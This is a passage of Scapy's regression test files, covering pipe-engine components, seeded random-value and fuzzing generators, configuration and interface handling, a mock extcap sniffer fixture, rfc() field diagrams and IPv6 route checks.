= CLIFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredSwitch() c = QueueSink() s > d1 > d2 d2 >> c d1 ^ d2 p = PipeEngine(s) p.start() s.send("hello") s.send("trigger") s.send("hello2") s.send("trigger") s.send("hello3") assert c.q.get(timeout=5) == "trigger" assert c.q.get(timeout=5) == "hello2" p.stop() = TriggerDrain and TriggeredSwitch with CLIHighFeeder on low channel s = CLIHighFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredSwitch() c = QueueSink() s >> d1 d1 >> d2 d2 > c d1 ^ d2 p = PipeEngine(s) p.start() s.send("hello") s.send("trigger") s.send("hello2") s.send("trigger") s.send("hello3") assert c.q.get(timeout=5) == "hello" assert c.q.get(timeout=5) == "trigger" assert c.q.get(timeout=5) == "hello3" p.stop() = TriggerDrain and TriggeredMessage s = CLIFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredMessage("hello") c = QueueSink() s > d1 > d2 > c d1 ^ d2 p = PipeEngine(s) p.start() s.send("trigger") r = [c.q.get(timeout=5), c.q.get(timeout=5)] assert "hello" in r assert "trigger" in r p.stop() = TriggerDrain and TriggeredQueueingValve on low channel p = PipeEngine() s = CLIFeeder() r, w = os.pipe() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredQueueingValve() c = QueueSink(name="c") s > d1 > d2 > c d1 ^ d2 p.add(s) p.start() s.send("trigger") s.send("hello") s.send("trigger") assert c.q.get(timeout=3) == "trigger" assert c.q.get(timeout=3) in ['hello', 'trigger'] assert c.q.get(timeout=3) in ['hello', 'trigger'] assert d2.q.qsize() == 0 p.stop() = TriggerDrain and TriggeredQueueingValve on high channel p = PipeEngine() s = CLIHighFeeder() r, w = os.pipe() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredQueueingValve() c = QueueSink(name="c") s >> d1 >> d2 >> c d1 ^ d2 p.add(s) p.start() s.send("trigger") s.send("hello") s.send("trigger") assert c.q.get(timeout=3) == "trigger" assert c.q.get(timeout=3) == "hello" assert d2.q.qsize() == 0 p.stop() = UDPDrain p = PipeEngine() s = CLIFeeder() s2 = CLIHighFeeder() d1 = UDPDrain() c = QueueSink() s > d1 > c s2 >> d1 >> c p.add(s) p.add(s2) p.start() pkt = DNS() s.send(IP(src="127.0.0.1")/UDP()/DNS()) s2.send(pkt) res = [c.q.get(timeout=2), c.q.get(timeout=2)] assert raw(pkt) in res res.remove(raw(pkt)) assert DNS in res[0] and res[0][UDP].sport == 1234 p.stop() = FDSourceSink on a ObjectPipe object obj = ObjectPipe("fdsourcesink") obj.send("hello") s = FDSourceSink(obj) d = Drain() c = QueueSink() s > d > c s.push("data") s.deliver() assert c.q.get(timeout=1) == "hello" = UDPClientPipe and UDPServerPipe ~ networking needs_root p = PipeEngine() s = CLIFeeder() srv = UDPServerPipe(name="srv", port=10000) cli = UDPClientPipe(name="cli", addr="127.0.0.1", port=10000) c = QueueSink(name="c") s > cli srv > c p.add(s, c) p.start() s.send(b"hello") p.start() assert c.recv() == b"hello" p.stop() srv.stop() = TCPConnectPipe networking test ~ networking needs_root p = PipeEngine() s = CLIFeeder() d1 = TCPConnectPipe(addr="www.google.com", port=80) c = QueueSink() s > d1 > c p.add(s) p.start() from scapy.layers.http import HTTPRequest, HTTP s.send(bytes(HTTP()/HTTPRequest(Host="www.google.com"))) result = c.q.get(timeout=10) p.stop() result assert result.startswith(b"HTTP/1.1 200 OK") or result.startswith(b"HTTP/1.1 302 Found") ================================================ FILE: test/random.uts ================================================ % Regression tests for Scapy random objects ############ ############ + Random objects = RandomEnumeration ren = RandomEnumeration(0, 7, seed=0x2807, forever=False) [x for x in ren] == [5, 0, 2, 7, 6, 3, 1, 4] = RandIP6 random.seed(0x2807) r6 = RandIP6() assert r6 == "240b:238f:b53f:b727:d0f9:bfc4:2007:e265" assert r6.command() == "RandIP6()" random.seed(0x2807) r6 = RandIP6("2001:db8::-") assert r6 == "2001:0db8::b53f" assert r6.command() == "RandIP6(ip6template='2001:db8::-')" r6 = RandIP6("2001:db8::*") assert r6 == "2001:0db8::bfc4" assert r6.command() == "RandIP6(ip6template='2001:db8::*')" = RandMAC random.seed(0x2807) rm = RandMAC() assert rm == "24:23:b5:b7:d0:bf" assert rm.command() == "RandMAC()" rm = RandMAC("00:01:02:03:04:0-7") assert rm == "00:01:02:03:04:01" assert rm.command() == "RandMAC(template='00:01:02:03:04:0-7')" = RandOID random.seed(0x2807) rand_obj = RandOID() assert rand_obj == "7.222.44.194.276.116.320.6.84.97.31.5.25.20.13.84.104.18" assert rand_obj.command() == "RandOID()" rand_obj = RandOID("1.2.3.*") assert rand_obj == "1.2.3.41" assert rand_obj.command() == "RandOID(fmt='1.2.3.*')" rand_obj = RandOID("1.2.3.0-28") assert rand_obj == "1.2.3.12" assert rand_obj.command() == "RandOID(fmt='1.2.3.0-28')" rand_obj = RandOID("1.2.3.0-28", depth=RandNumExpo(0.2), idnum=RandNumExpo(0.02)) assert rand_obj.command() == "RandOID(fmt='1.2.3.0-28', depth=RandNumExpo(lambd=0.2), idnum=RandNumExpo(lambd=0.02))" = RandRegExp ~ not_pyannotate random.seed(0x2807) rex = RandRegExp("[g-v]* @? [0-9]{3} . (g|v)") bytes(rex) == b'irrtv @ 517 \xc2\xb8 v' assert rex.command() == "RandRegExp(regexp='[g-v]* @? [0-9]{3} . (g|v)')" rex = RandRegExp("[:digit:][:space:][:word:]") assert re.match(b"\\d\\s\\w", bytes(rex)) = Corrupted(Bytes|Bits) random.seed(0x2807) cb = CorruptedBytes("ABCDE", p=0.5) assert cb.command() == "CorruptedBytes(s='ABCDE', p=0.5)" assert sane(raw(cb)) in [".BCD)", "&BCDW"] cb = CorruptedBits("ABCDE", p=0.2) assert cb.command() == "CorruptedBits(s='ABCDE', p=0.2)" assert sane(raw(cb)) in ["ECk@Y", "QB.P."] = RandEnumKeys random.seed(0x2807) rek = RandEnumKeys({'a': 1, 'b': 2, 'c': 3}, seed=0x2807) rek.enum.sort() assert rek.command() == "RandEnumKeys(enum=['a', 'b', 'c'], seed=10247)" r = str(rek) assert r == 'a' = RandSingNum random.seed(0x2807) rs = RandSingNum(-28, 7) assert rs._fix() in [2, 3] assert rs.command() == "RandSingNum(mn=-28, mx=7)" = Rand* random.seed(0x2807) rss = RandSingString() assert rss == "foo.exe:" assert rss.command() == "RandSingString()" random.seed(0x2807) rts = RandTermString(4, "scapy") assert sane(raw(rts)) in ["...Zscapy", "$#..scapy"] assert rts.command() == "RandTermString(size=4, term=b'scapy')" = RandInt (test __bool__) a = "True" if RandNum(False, True) else "False" assert a in ["True", "False"] = Various volatiles random.seed(0x2807) rng = RandNumGamma(1, 42) assert rng._fix() in (8, 73) assert rng.command() == "RandNumGamma(alpha=1, beta=42)" random.seed(0x2807) rng = RandNumGauss(1, 42) assert rng._fix() == 8 assert rng.command() == "RandNumGauss(mu=1, sigma=42)" renum = RandEnum(1, 42, seed=0x2807) assert renum == 37 assert renum.command() == "RandEnum(min=1, max=42, seed=10247)" rp = RandPool((IncrementalValue(), 42), (IncrementalValue(), 0)) assert rp == 0 assert rp.command() == "RandPool((IncrementalValue(), 42), (IncrementalValue(), 0))" de = DelayedEval("3 + 1") assert de == 4 assert de.command() == "DelayedEval(expr='3 + 1')" v = IncrementalValue(restart=2) assert v == 0 and v == 1 and v == 2 and v == 0 assert v.command() == "IncrementalValue(restart=2)" ================================================ FILE: test/regression.uts ================================================ % Regression tests for Scapy # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Information on Scapy = Setup def expect_exception(e, c): try: c() return False except e: return True = Get conf ~ conf command * Dump the current configuration conf IP().src conf.loopback_name = Test module version detection ~ conf class FakeModule(object): __version__ = "v1.12" class FakeModule2(object): __version__ = "5.143.3.12" class FakeModule3(object): __version__ = "v2.4.2.dev42" from scapy.config import _version_checker assert _version_checker(FakeModule, (1,11,5)) assert not _version_checker(FakeModule, (1,13)) assert _version_checker(FakeModule2, (5, 1)) assert not _version_checker(FakeModule2, (5, 143, 4)) assert _version_checker(FakeModule3, (2, 4, 2)) = Check Scapy version from unittest import mock import scapy from scapy import _parse_tag, _version_from_git_describe from scapy.config import _version_checker b = Bunch(returncode=0, communicate=lambda *args, **kargs: (b"v2.4.5rc1-261-g44b98e14", None)) with mock.patch('scapy.subprocess.Popen', return_value=b): with mock.patch('scapy.os.path.isdir', return_value=True): class GitModuleScapy(object): __version__ = _version_from_git_describe() # GH3847 with mock.patch('scapy.subprocess.Popen', return_value=b): with mock.patch('scapy.os.path.isdir', return_value=False): try: _version_from_git_describe() assert False except ValueError: pass assert GitModuleScapy.__version__ == '2.4.5rc1.dev261' assert _version_checker(GitModuleScapy, (2, 4, 5)) = List layers ~ conf command ls() = List layers - advanced ~ conf command with ContextManagerCaptureOutput() as cmco: ls("IP", case_sensitive=True) result_ls = cmco.get_output().split("\n") assert all("IP" in x for x in result_ls if x.strip()) assert len(result_ls) >= 3 = List packet fields - ls ~ command with ContextManagerCaptureOutput() as cmco: ls(ARP(hwsrc="aa:aa:aa:aa:aa:aa", psrc="1.1.1.1")) result_ls = cmco.get_output().split("\n") result_ls assert result_ls[5] == "hwsrc : MultipleTypeField (SourceMACField, StrFixedLenField) = 'aa:aa:aa:aa:aa:aa' ('None')" assert result_ls[6] == "psrc : MultipleTypeField (SourceIPField, SourceIP6Field, StrFixedLenField) = '1.1.1.1' ('None')" = List commands ~ conf command lsc() = List contribs ~ command def test_list_contrib(): with ContextManagerCaptureOutput() as cmco: list_contrib() result_list_contrib = cmco.get_output() assert "http2 : HTTP/2 (RFC 7540, RFC 7541) status=loads" in result_list_contrib assert len(result_list_contrib.split('\n')) > 40 test_list_contrib() = Test packet show() on LatexTheme % with LatexTheme class SmallPacket(Packet): fields_desc = [ByteField("a", 0)] conf_color_theme = conf.color_theme conf.color_theme = LatexTheme() pkt = SmallPacket() with ContextManagerCaptureOutput() as cmco: pkt.show() result = cmco.get_output().strip() assert result == '\\#\\#\\#[ \\textcolor{red}{\\bf SmallPacket} ]\\#\\#\\#\n \\textcolor{blue}{a} = \\textcolor{purple}{0}' conf.color_theme = conf_color_theme = Test rfc() ~ command dat = rfc(IP, ret=True).split("\n") assert dat[0].replace(" ", "").strip() == "0123" assert "0123456789" in dat[1].replace(" ", "") for l in dat: # only upper case and +- assert re.match(r"[A-Z+-]*", l) # Add a space before each + to avoid conflicts with UTscapy ! # They will be stripped below result = """ 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |VERSION| IHL | TOS | LEN | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ID |FLAGS| FRAG | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TTL | PROTO | CHKSUM | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SRC | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | DST | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | OPTIONS | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. IP """.strip() result = [x.strip() for x in result.split("\n")] output = [x.strip() for x in rfc(IP, ret=True).strip().split("\n")] assert result == output result = """ 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | CODE | ID | LEN | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TYPE |L|M|S|RES|VERSI| MESSAGE LEN | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | DATA | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. EAP_TTLS """.strip() result = [x.strip() for x in result.split("\n")] output = [x.strip() for x in rfc(EAP_TTLS, ret=True).strip().split("\n")] assert result == output result = """ 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |VERSION| TC | FL | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | PLEN | NH | HLIM | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SRC | + + | | + + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | DST | + + | | + + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. IPv6 """.strip() result = [x.strip() for x in result.split("\n")] output = [x.strip() for x in rfc(IPv6, ret=True).strip().split("\n")] assert result == output class TestPad(Packet): fields_desc = [ShortField("f0", 0), ShortField("f1", 0), PadField(ByteField("f2", 1), 8), PadField(ShortField("f3", 0), 4)] result = """ 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | F0 | F1 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | F2 | padding | +-+-+-+-+-+-+-+-+ + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | F3 | padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. TestPad """.strip() result = [x.strip() for x in result.split("\n")] output = [x.strip() for x in rfc(TestPad, ret=True).strip().split("\n")] assert result == output = Check that all contrib modules are well-configured ~ command list_contrib(_debug=True) = Configuration ~ conf conf.debug_dissector = True = Configuration conf.use_* LINUX ~ linux try: conf.use_bpf = True assert False except: True assert not conf.use_bpf = Configuration conf.use_* WINDOWS ~ windows try: conf.use_bpf = True assert False except: True assert not conf.use_bpf = Configuration conf.use_pcap ~ linux libpcap if not conf.use_pcap: assert not conf.iface.provider.libpcap conf.use_pcap = True assert conf.iface.provider.libpcap for iface in conf.ifaces.values(): assert iface.provider.libpcap or iface.is_valid() == False conf.use_pcap = False assert not conf.iface.provider.libpcap = Test layer filtering ~ filter pkt = NetflowHeader()/NetflowHeaderV5()/NetflowRecordV5() conf.layers.filter([NetflowHeader, NetflowHeaderV5]) assert NetflowRecordV5 not in NetflowHeader(bytes(pkt)) # Conf.ifaces.reload() should still work (arch/* is exempt) conf.ifaces.reload() conf.layers.unfilter() assert NetflowRecordV5 in NetflowHeader(bytes(pkt)) ########### ########### = UTscapy route check * Check that UTscapy has correctly replaced the routes. Many tests won't work otherwise p = IP().src p assert p == "127.0.0.1" ############ ############ + Scapy functions tests = Interface related functions from unittest import mock conf.iface get_if_addr(conf.iface) get_if_hwaddr(conf.iface) bytes_hex(get_if_raw_addr(conf.iface)) def get_dummy_interface(): """Returns a dummy network interface""" conf.ifaces._add_fake_iface("dummy0") return "dummy0" get_if_raw_addr(get_dummy_interface()) get_if_list() get_working_if() get_if_raw_addr6(conf.iface) = More Interfaces related functions # Test name resolution old = conf.iface conf.iface = conf.iface.name assert conf.iface == old assert isinstance(conf.iface, NetworkInterface) assert conf.iface.is_valid() from unittest import mock @mock.patch("scapy.interfaces.conf.route.routes", []) @mock.patch("scapy.interfaces.conf.ifaces.values") def _test_get_working_if(rou): rou.side_effect = lambda: [] assert get_working_if() is None assert conf.iface + "a" # left + assert "hey! are you, ready to go ? %s" % conf.iface # format assert "cuz you know the way to go" + conf.iface # right + _test_get_working_if() = Test conf.ifaces conf.iface conf.ifaces assert conf.iface in conf.ifaces.values() assert conf.ifaces.dev_from_index(conf.iface.index) == conf.iface assert conf.ifaces.dev_from_networkname(conf.iface.network_name) == conf.iface conf.ifaces.data = {'a': NetworkInterface(InterfaceProvider(), {"name": 'a', "network_name": 'a', "description": 'a', "ips": ["127.0.0.1", "::1", "::2", "127.0.0.2"], "mac": 'aa:aa:aa:aa:aa:aa'})} with ContextManagerCaptureOutput() as cmco: conf.ifaces.show() output = cmco.get_output() data = """ Source Index Name MAC IPv4 IPv6 Unknown 0 a aa:aa:aa:aa:aa:aa 127.0.0.1 ::1 127.0.0.2 ::2 """.strip() output = [x.strip() for x in output.strip().split("\n")] data = [x.strip() for x in data.strip().split("\n")] assert output == data conf.ifaces.reload() = Test extcap detection in conf.ifaces ~ linux extcap import os from scapy.libs.extcap import load_extcap _bkp_extcap = conf.prog.extcap_folders _bkp_providers = conf.ifaces.providers.copy() conf.ifaces.providers.clear() # Create some sort of extcap parody program extcapfld = get_temp_dir() extcapprog = os.path.join(extcapfld, "runner.sh") data = """#!/usr/bin/env python3 import struct import argparse parser = argparse.ArgumentParser() parser.add_argument('--extcap-interfaces', action='store_true') parser.add_argument('--capture', action='store_true') parser.add_argument('--extcap-config', action='store_true') parser.add_argument('--scan-follow-rsp', action='store_true') parser.add_argument('--scan-follow-aux', action='store_true') parser.add_argument('--extcap-interface', type=str) parser.add_argument('--fifo', type=str) args = parser.parse_args() if args.extcap_interfaces: # List interfaces print(bytes.fromhex("0a657874636170207b76657273696f6e3d342e312e317d7b646973706c61793d6e524620536e696666657220666f7220426c7565746f6f7468204c457d7b68656c703d68747470733a2f2f7777772e6e6f7264696373656d692e636f6d2f536f6674776172652d616e642d546f6f6c732f446576656c6f706d656e742d546f6f6c732f6e52462d536e69666665722d666f722d426c7565746f6f74682d4c457d0a696e74657266616365207b76616c75653d2f6465762f747479555342352d4e6f6e657d7b646973706c61793d6e524620536e696666657220666f7220426c7565746f6f7468204c457d0a636f6e74726f6c207b6e756d6265723d307d7b747970653d73656c6563746f727d7b646973706c61793d4465766963657d7b746f6f6c7469703d446576696365206c6973747d0a636f6e74726f6c207b6e756d6265723d317d7b747970653d73656c6563746f727d7b646973706c61793d4b65797d7b746f6f6c7469703d7d0a636f6e74726f6c207b6e756d6265723d327d7b747970653d737472696e677d7b646973706c61793d56616c75657d7b746f6f6c7469703d3620646967697420706173736b6579206f72203136206f7220333220627974657320656e6372797074696f6e206b657920696e2068657861646563696d616c207374617274696e67207769746820273078272c2062696720656e6469616e20666f726d61742e49662074686520656e7465726564206b65792069732073686f72746572207468616e203136206f722033322062797465732c2069742077696c6c206265207a65726f2d70616464656420696e2066726f6e74277d7b76616c69646174696f6e3d5c625e28285b302d395d7b367d297c2830785b302d39612d66412d465d7b312c36347d297c285b302d39412d46612d665d7b327d5b3a2d5d297b357d285b302d39412d46612d665d7b327d2920287075626c69637c72616e646f6d2929245c627d0a636f6e74726f6c207b6e756d6265723d337d7b747970653d737472696e677d7b646973706c61793d41647620486f707d7b64656661756c743d33372c33382c33397d7b746f6f6c7469703d4164766572746973696e67206368616e6e656c20686f702073657175656e63652e204368616e676520746865206f7264657220696e2077686963682074686520736e6966666572207377697463686573206164766572746973696e67206368616e6e656c732e2056616c6964206368616e6e656c73206172652033372c20333820616e642033392073657061726174656420627920636f6d6d612e7d7b76616c69646174696f6e3d5e5c732a282833377c33387c3339295c732a2c5c732a297b302c327d2833377c33387c3339297b317d5c732a247d7b72657175697265643d747275657d0a636f6e74726f6c207b6e756d6265723d377d7b747970653d627574746f6e7d7b646973706c61793d436c6561727d7b746f6f6c746f703d436c656172206f722072656d6f7665206465766963652066726f6d20446576696365206c6973747d0a636f6e74726f6c207b6e756d6265723d347d7b747970653d627574746f6e7d7b726f6c653d68656c707d7b646973706c61793d48656c707d7b746f6f6c7469703d416363657373207573657220677569646520286c61756e636865732062726f77736572297d0a636f6e74726f6c207b6e756d6265723d357d7b747970653d627574746f6e7d7b726f6c653d726573746f72657d7b646973706c61793d44656661756c74737d7b746f6f6c7469703d52657365747320746865207573657220696e7465726661636520616e6420636c6561727320746865206c6f672066696c657d0a636f6e74726f6c207b6e756d6265723d367d7b747970653d627574746f6e7d7b726f6c653d6c6f676765727d7b646973706c61793d4c6f677d7b746f6f6c7469703d4c6f672070657220696e746572666163657d0a76616c7565207b636f6e74726f6c3d307d7b76616c75653d207d7b646973706c61793d416c6c206164766572746973696e6720646576696365737d7b64656661756c743d747275657d0a76616c7565207b636f6e74726f6c3d307d7b76616c75653d5b30302c30302c30302c30302c30302c30302c305d7d7b646973706c61793d466f6c6c6f772049524b7d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d307d7b646973706c61793d4c656761637920506173736b65797d7b64656661756c743d747275657d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d317d7b646973706c61793d4c6567616379204f4f4220646174617d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d327d7b646973706c61793d4c6567616379204c544b7d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d337d7b646973706c61793d5343204c544b7d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d347d7b646973706c61793d53432050726976617465204b65797d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d357d7b646973706c61793d49524b7d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d367d7b646973706c61793d416464204c4520616464726573737d0a76616c7565207b636f6e74726f6c3d317d7b76616c75653d377d7b646973706c61793d466f6c6c6f77204c4520616464726573737d").decode()) elif args.extcap_interface and args.extcap_config: # List config print(bytes.fromhex("617267207b6e756d6265723d307d7b63616c6c3d2d2d6f6e6c792d6164766572746973696e677d7b646973706c61793d4f6e6c79206164766572746973696e67207061636b6574737d7b746f6f6c7469703d54686520736e69666665722077696c6c206f6e6c792063617074757265206164766572746973696e67207061636b6574732066726f6d207468652073656c6563746564206465766963657d7b747970653d626f6f6c666c61677d7b736176653d747275657d0a617267207b6e756d6265723d317d7b63616c6c3d2d2d6f6e6c792d6c65676163792d6164766572746973696e677d7b646973706c61793d4f6e6c79206c6567616379206164766572746973696e67207061636b6574737d7b746f6f6c7469703d54686520736e69666665722077696c6c206f6e6c792063617074757265206c6567616379206164766572746973696e67207061636b6574732066726f6d207468652073656c6563746564206465766963657d7b747970653d626f6f6c666c61677d7b736176653d747275657d0a617267207b6e756d6265723d327d7b63616c6c3d2d2d7363616e2d666f6c6c6f772d7273707d7b646973706c61793d46696e64207363616e20726573706f6e736520646174617d7b746f6f6c7469703d54686520736e69666665722077696c6c20666f6c6c6f77207363616e20726571756573747320616e64207363616e20726573706f6e73657320696e207363616e206d6f64657d7b747970653d626f6f6c666c61677d7b64656661756c743d747275657d7b736176653d747275657d0a617267207b6e756d6265723d337d7b63616c6c3d2d2d7363616e2d666f6c6c6f772d6175787d7b646973706c61793d46696e6420617578696c6961727920706f696e74657220646174617d7b746f6f6c7469703d54686520736e69666665722077696c6c20666f6c6c6f772061757820706f696e7465727320696e207363616e206d6f64657d7b747970653d626f6f6c666c61677d7b64656661756c743d747275657d7b736176653d747275657d0a617267207b6e756d6265723d337d7b63616c6c3d2d2d636f6465647d7b646973706c61793d5363616e20616e6420666f6c6c6f772064657669636573206f6e204c4520436f646564205048597d7b746f6f6c7469703d5363616e20666f72206465766963657320616e6420666f6c6c6f772061647665727469736572206f6e204c4520436f646564205048597d7b747970653d626f6f6c666c61677d7b64656661756c743d66616c73657d7b736176653d747275657d").decode()) elif args.capture and args.extcap_interface and args.fifo: # Capture pkts = [ bytes.fromhex("ffffffffffff00000000000008004500001c0001000040117cce7f0000017f0000010035003500080172") ] with open(args.fifo, "wb", 0) as fd: # header fd.write( struct.pack( "IHHIIII", 0xa1b2c3d4, 2, 4, 0, 0, 65535, 1 ) ) for pkt in pkts: fd.write(struct.pack("IIII", 0, 0, len(pkt), len(pkt))) fd.write(bytes(pkt)) else: raise ValueError("Bad arguments") """.strip() with open(extcapprog, "w") as fd: fd.write(data) print(data) os.chmod(extcapprog, 0o777) # Inject and load provider conf.prog.extcap_folders = [extcapfld] load_extcap() print(conf.ifaces.providers) conf.ifaces.reload() # Now do the tests iface = conf.ifaces.dev_from_networkname('/dev/ttyUSB5-None') assert iface.name == "nRF Sniffer for Bluetooth LE" sock = iface.l2listen()(iface=iface) pkts = sock.sniff(timeout=2) sock.close() assert UDP in pkts[0] config = iface.get_extcap_config() assert config["arg"] == [ ('0', '--only-advertising', 'Only advertising packets', '', ''), ('1', '--only-legacy-advertising', 'Only legacy advertising packets', '', ''), ('2', '--scan-follow-rsp', 'Find scan response data', 'true', ''), ('3', '--scan-follow-aux', 'Find auxiliary pointer data', 'true', ''), ('3', '--coded', 'Scan and follow devices on LE Coded PHY', 'false', '') ] # Restore conf.prog.extcap_folders = _bkp_extcap conf.ifaces.providers = _bkp_providers conf.ifaces.reload() = Test read_routes6() - default output routes6 = read_routes6() if WINDOWS: from scapy.arch.windows import _route_add_loopback _route_add_loopback(routes6, True) routes6 # Expected results: # - one route if there is only the loopback interface # - one route if IPv6 is supported but disabled on network interfaces # - three routes if there is a network interface # - on OpenBSD, only two routes on lo0 are expected if routes6: iflist = get_if_list() if WINDOWS: from scapy.arch.windows import _route_add_loopback _route_add_loopback(ipv6=True, iflist=iflist) if OPENBSD: len(routes6) >= 2 elif iflist == [conf.loopback_name]: len(routes6) == 1 elif len(iflist) >= 2: len(routes6) >= 1 else: False else: # IPv6 seems disabled. Force a route to ::1 conf.route6.routes.append(("::1", 128, "::", conf.loopback_name, ["::1"], 1)) conf.route6.ipv6_ifaces = set([conf.loopback_name]) True = Build HBHOptUnknown for IPv6ExtHdrHopByHop with disabled autopad ~ ipv6 hbh opt * Build the HBHOptUnknown of IPv6ExtHdrHopByHop with autopad=0 v6Opt = HBHOptUnknown(otype=3, optlen=7, optdata="Beijing") pkt = Ether()/IPv6()/IPv6ExtHdrHopByHop(autopad=0, options=[v6Opt, ]) pkt.build() = Build HBHOptUnknown for IPv6ExtHdrDestOpt with disabled autopad ~ ipv6 hbh opt * Build the HBHOptUnknown of IPv6ExtHdrDestOpt with autopad=0 v6Opt = HBHOptUnknown(otype=3, optlen=6, optdata="Haikou") pkt = Ether()/IPv6()/IPv6ExtHdrDestOpt(autopad=0, options=[v6Opt, ]) pkt.build() = Test read_routes6() - check mandatory routes import re ll_route = re.compile(r"fe80:\d{0,2}:") # match fe80::, fe80:5:, etc. (if scoped) conf.route6 if len(routes6) > 2 and not WINDOWS: # Identify routes to fe80::/64 assert sum(1 for r in routes6 if r[0] == "::1" and r[4] == ["::1"]) >= 1 if len(iflist) >= 2: assert sum(1 for r in routes6 if ll_route.match(r[0])) >= 1 try: # Identify a route to a node IPv6 link-local address assert sum(1 for r in routes6 if in6_islladdr(r[0]) and r[1] == 128) >= 1 except: # IPv6 is not available, but we still check the loopback assert conf.route6.route("::/0") == (conf.loopback_name, "::", "::") assert sum(1 for r in routes6 if r[1] == 128 and r[4] == ["::1"]) >= 1 else: True = Test ifchange() conf.route6.ifchange(conf.loopback_name, "::1/128") if WINDOWS: conf.netcache.in6_neighbor["::1"] = "ff:ff:ff:ff:ff:ff" # Restore fake cache True = Packet.route() assert (Ether() / ARP()).route()[0] is not None assert (Ether() / ARP()).payload.route()[0] is not None assert (ARP(ptype=0, pdst="hello. this isn't a valid IP")).route()[0] is None = utils/in4_is* assert in4_ismaddr("224.0.0.1") assert not in4_ismaddr("192.168.0.1") assert in4_ismaddr("239.0.0.255") assert in4_ismlladdr("224.0.0.1") assert in4_ismlladdr("224.0.0.255") assert not in4_ismlladdr("224.0.1.255") assert in4_ismgladdr("235.0.0.1") assert not in4_ismgladdr("224.0.0.1") assert not in4_ismgladdr("239.0.0.1") assert in4_ismlsaddr("239.0.0.1") assert not in4_ismlsaddr("224.0.0.1") assert in4_isaddrllallnodes("224.0.0.1") assert not in4_isaddrllallnodes("224.0.0.3") assert in4_getnsmac(b'\xe0\x00\x00\x01') == '01:00:5e:00:00:01' assert getmacbyip("224.0.0.1") == '01:00:5e:00:00:01' = plain_str test data = b"\xffsweet\xef celestia\xab" assert plain_str(data) == "\\xffsweet\\xef celestia\\xab" ############ ############ + compat.py = test bytes_hex/hex_bytes monty_data = b"Stop! Who approaches the Bridge of Death must answer me these questions three, 'ere the other side he see." hex_data = bytes_hex(monty_data) assert hex_data == b'53746f70212057686f20617070726f61636865732074686520427269646765206f66204465617468206d75737420616e73776572206d65207468657365207175657374696f6e732074687265652c202765726520746865206f746865722073696465206865207365652e' assert hex_bytes(hex_data) == monty_data = orb/chb assert orb(b"\x01"[0]) == 1 assert chb(1) == b"\x01" ############ ############ + Main.py tests = Pickle and unpickle a packet import pickle a = IP(dst="192.168.0.1")/UDP() b = pickle.dumps(a) c = pickle.loads(b) assert c[IP].dst == "192.168.0.1" assert raw(c) == raw(a) = Usage test from scapy.main import _usage try: _usage() assert False except SystemExit: assert True = Emulate interact() ~ interact import sys from unittest import mock from scapy.main import interact from scapy.main 